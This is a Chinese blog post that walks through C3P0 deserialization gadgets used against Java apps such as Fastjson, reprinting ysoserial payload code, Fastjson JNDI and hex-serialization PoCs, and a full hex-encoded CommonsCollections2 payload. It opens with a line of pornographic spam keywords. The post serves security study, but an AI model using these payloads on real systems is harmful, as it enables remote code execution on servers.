亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

淺談Java安全之C3P0的使用

 更新時間:2022年01月28日 10:11:50   作者:Zh1z3ven  
本文主要介紹了淺談Java安全之C3P0的使用,文中通過示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下

寫在前面

很久以前就聽nice0e3師傅說打Fastjson可以試試C3P0,當時還不會java(雖然現(xiàn)在也沒會多少)也就沒有深究。最近調(diào)試Fastjson的漏洞,又想到了這個點,就拿出來學習下。

C3P0 Gadget

C3P0中有三種利用方式

  • http base
  • JNDI
  • HEX序列化字節(jié)加載器

下面來一點點看他們究竟是怎樣使用的。

先貼上ysoserial項目中C3P0 Gadget的源碼:

package ysoserial.payloads;


import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 *
 *
 * com.sun.jndi.rmi.registry.RegistryContext->lookup
 * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
 *
 * Arguments:
 * - base_url:classname
 *
 * Yields:
 * - Instantiation of remotely loaded class
 *
 * @author mbechler
 *
 */
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
    public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }




    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(C3P0.class, args);
    }

}

http base

可以本地起一個反序列化的環(huán)境,導入c3p0的依賴

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

會導入下面兩個jar
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
在ysoserial項目中直接測試下

public static void main ( final String[] args ) throws Exception {
        // PayloadRunner.run(C3P0.class, args);
    C3P0 c3P0 = new C3P0();
    Object object = c3P0.getObject("http://127.0.0.1:9010/:calc");
    byte[] serialize = Serializer.serialize(object);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    Object o = objectInputStream.readObject();
}

之后準備個彈計算器的類,編譯成class,之后再起個http服務

import java.io.IOException;

public class calc {
    static{
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

C3P0.getObject()

先來正向調(diào)試下序列化的過程
先跟進看C3P0.getObject()前面是通過最后一個:拿到url和需要遠程加載的className

之后通過反射創(chuàng)建了一個PoolBackedDataSource對象

接著反射設置PoolBackedDataSourceBase類中屬性connectionPoolDataSourcePoolSource對象

Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

實例化時會把urlclassName即我們遠程地址和惡意類的類名賦值給PoolSource的屬性

序列化

序列化時會調(diào)用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()方法,但是會拋出異常進入catch部分

之后依然會調(diào)用writeObject方法

首先會先去indirector.indirectForm(this.connectionPoolDataSource),而this.connectionPoolDataSource的兩個屬性是我們的遠程地址和惡意類類名
indirectForm方法邏輯如下:

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
    Reference var2 = ((Referenceable)var1).getReference();
    return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

首先調(diào)用我們傳入對象的getReference方法,也即是PoolSource#getReference()該方法會實例化一個Reference對象

后面將生成的Reference對象作為參數(shù)傳遞進ReferenceIndirector.ReferenceSerialized,調(diào)用有參構造去實例化

反序列化

反序列化入口點應在PoolBackedDataSourceBase#readObject()處,我們下個斷點跟進去

而在readObject()中會去調(diào)用ReferenceIndirector.ReferenceSerialized#getObject()方法,這里單步調(diào)試進不去,直接在getObject()方法內(nèi)下斷點F9跟進去。這里并沒有調(diào)用lookup而是走到調(diào)用ReferenceableUtils.referenceToObject(),繼續(xù)跟

通過URLClassLoader遠程加載類造成遠程代碼執(zhí)行

Class.forName()

在nice0e3師傅文章里看到的,這個點以前學反射的時候沒深入跟,這里深入學習一下。

這里如果可以控制forName?法的第?個和第三個參數(shù),并且第?個參數(shù)為 true,那么就可以利?BCEL, ClassLoader實現(xiàn)任意代碼加載執(zhí)? 。

首先可以把關鍵代碼摳出來

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
String var4 = "calc";
URL var8 = new URL("http://127.0.0.1:9010");
var7 = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName(var4, true, (ClassLoader)var7);

調(diào)試下看看,進入Class.forName()后首先去看是否設置了SecurityManager沒有的話則去調(diào)用forName0()

public static Class<?> forName(String name, boolean initialize,
                                   ClassLoader loader)
        throws ClassNotFoundException
{
    if (loader == null) {
        SecurityManager sm = System.getSecurityManager();
        if (sm != null) {
            ClassLoader ccl = ClassLoader.getCallerClassLoader();
            if (ccl != null) {
                sm.checkPermission(
                    SecurityConstants.GET_CLASSLOADER_PERMISSION);
            }
        }
    }
    return forName0(name, initialize, loader);
}

forName0()里是native代碼,底層是C/C++實現(xiàn),就跟不了了

private static native Class<?> forName0(String name, boolean initialize,
                                        ClassLoader loader)
    throws ClassNotFoundException;

官方文檔說明:只有當 initialize參數(shù)是true并且之前沒有被初始化時,類才會被初始化。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

這里其實在審計的時候也可以關注下forName()的參數(shù)是否可控,可控的話就可以通過初始化來觸發(fā)代碼執(zhí)行

JNDI

利用姿勢

以Fastjson為例
PoC

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

調(diào)試分析

JNDI的話主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase中的setjndiName()去設置我們遠程ldap地址

最終走第二個if中this.pcs.firePropertyChange()方法

public void setJndiName(Object jndiName) throws PropertyVetoException {
    Object oldVal = this.jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
    }

    this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
    if (!this.eqOrBothNull(oldVal, jndiName)) {
        this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
    }

}

之后在解析到loginTimeout字段時會調(diào)用com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()方法

public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}

inner()中,跟入this.dereference()

private synchronized DataSource inner() throws SQLException {
    if (this.cachedInner != null) {
        return this.cachedInner;
    } else {
        DataSource out = this.dereference();
        if (this.isCaching()) {
            this.cachedInner = out;
        }

        return out;
    }
}

在其中觸發(fā)了JNDI

先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()設置遠程ldap地址,之后通過com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout() ==> this.inner() ==> InitialContext.lookup()觸發(fā)JNDI

Hex序列化字節(jié)加載器

利用姿勢

這里其實就是常聽到的就是用C3P0二次反序列化打Fastjson,因為像Fastjson和Jackson在反序列化時都會觸發(fā)setter方法的執(zhí)行,而C3P0中userOverridesAsString的setter會將HexAsciiSerializedMap開頭的hex字符串進行解碼再去觸發(fā)Java原生的反序列化

PoC

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}

先生成序列化payload,這里的payload注意是需要本地的另一條Gadget比如CC或者CB鏈,然后hex編碼一下拼到PoC里
CC2

? target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("hello");
        InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }

Calc Hex String

ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178

回顯RCE,PoC參考safe6sec項目

Godzilla4 Memshell

調(diào)試分析

前面也提到了,主要是調(diào)用到userOverridesAsString的setter觸發(fā)了反序列化,跟進去看一下

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

跟進listeners[current].vetoableChange(event);

之后進入WrapperConnectionPoolDataSource#setUpPropertyListeners()方法,其中調(diào)用了C3P0ImplUtils.parseUserOverridesAsString((String)val)去解析我們傳入的HexString

private void setUpPropertyListeners() {
    VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
        public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
            String propName = evt.getPropertyName();
            Object val = evt.getNewValue();
            if ("connectionTesterClassName".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
                } catch (Exception var6) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6);
                    }

                    throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
                }
            } else if ("userOverridesAsString".equals(propName)) {
                try {
                    WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
                } catch (Exception var5) {
                    if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
                        WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5);
                    }

                    throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
                }
            }

        }
    };
    this.addVetoableChangeListener(setConnectionTesterListener);
}

繼續(xù)跟進,利用subString截取了HexAsciiSerializedMap之后的Hex編碼字符串,交給ByteUtils.fromHexAscii(hexAscii)把Hex轉(zhuǎn)成bytes數(shù)組,之后調(diào)用SerializableUtils.fromByteArray(serBytes)處理

調(diào)用了deserializeFromByteArray方法,之后進入Java原生的readObject()

Reference

https://www.cnblogs.com/nice0e3/p/15058285.html
http://redteam.today/2020/04/18/c3p0的三個gadget/
https://github.com/safe6Sec/Fastjson

到此這篇關于淺談Java安全之C3P0的使用的文章就介紹到這了,更多相關Java C3P0內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

  • 深入理解Java的Spring框架中的IOC容器

    深入理解Java的Spring框架中的IOC容器

    IOC(Inversion of Control,控制反轉(zhuǎn))是Spring框架的核心,負責控制對象的生命周期與關系,接下來就讓我們跟隨文章來深入理解Java的Spring框架中的IOC容器:
    2016-07-07
  • SpringBoot深入淺出分析初始化器

    SpringBoot深入淺出分析初始化器

    這篇文章主要介紹了SpringBoot初始化器的分析,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-07-07
  • 關于Java中重定向傳參與取值

    關于Java中重定向傳參與取值

    這篇文章主要介紹了Java中重定向傳參與取值問題,重定向不僅可以重定向到當前應用程序中的其他資源,還可以重定向到同一個站點上的其他應用程序中的資源,甚至是使用絕對URL重定向到其他站點的資源,本文給大家介紹的非常詳細,需要的朋友可以參考下
    2023-05-05
  • Springboot自動裝配之注入DispatcherServlet的實現(xiàn)方法

    Springboot自動裝配之注入DispatcherServlet的實現(xiàn)方法

    這篇文章主要介紹了Springboot自動裝配之注入DispatcherServlet,Springboot向外界提供web服務,底層依賴了springframework中的web模塊來實現(xiàn),那么springboot在什么時機向容器注入DispatcherServlet這個核心類的呢?帶著這個問題一起通過本文學習吧
    2022-05-05
  • 一文了解Java Log框架徹底搞懂Log4J,Log4J2,LogBack,SLF4J

    一文了解Java Log框架徹底搞懂Log4J,Log4J2,LogBack,SLF4J

    本文主要介紹了一文了解Java Log框架徹底搞懂Log4J,Log4J2,LogBack,SLF4J,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2023-03-03
  • Spring中@Autowired @Resource @Inject三個注解有什么區(qū)別

    Spring中@Autowired @Resource @Inject三個注解有什么區(qū)別

    在我們使用Spring框架進行日常開發(fā)過程中,經(jīng)常會使用@Autowired, @Resource, @Inject注解來進行依賴注入,下面來介紹一下這三個注解有什么區(qū)別
    2023-03-03
  • Java不用算數(shù)運算符來實現(xiàn)求和方法

    Java不用算數(shù)運算符來實現(xiàn)求和方法

    我們都知道,Java的運算符除了具有優(yōu)先級之外,還有一個結合性的特點。當一個表達式中出現(xiàn)多種運算符時,執(zhí)行的先后順序不僅要遵守運算符優(yōu)先級別的規(guī)定,還要受運算符結合性的約束,以便確定是自左向右進行運算還是自右向左進行運算,但是如果不用運算符怎么求和呢
    2022-04-04
  • Spring中AOP注解@Aspect的使用詳解

    Spring中AOP注解@Aspect的使用詳解

    這篇文章主要介紹了Spring中AOP注解@Aspect的使用詳解,AOP是種面向切面的編程思想,面向切面編程是將程序抽象成各個切面,將那些影響了多個類的公共行為抽取到一個可重用模塊里,減少系統(tǒng)的重復代碼,降低模塊間的耦合度,增強代碼的可操作性和可維護性,需要的朋友可以參考下
    2024-01-01
  • Can''t use Subversion command line client:svn 報錯處理

    Can''t use Subversion command line client:svn 報錯處理

    這篇文章主要介紹了Can't use Subversion command line client:svn 報錯處理的相關資料,需要的朋友可以參考下
    2016-09-09
  • Java 非靜態(tài)初始化的例子

    Java 非靜態(tài)初始化的例子

    非靜態(tài)初始化和靜態(tài)初始化一模一樣,只不過少了static關鍵字。但是如果兩者共存的話,非靜態(tài)初始化是比靜態(tài)初始化慢一拍的。下邊我們舉兩個例子來看一下。
    2020-09-09

最新評論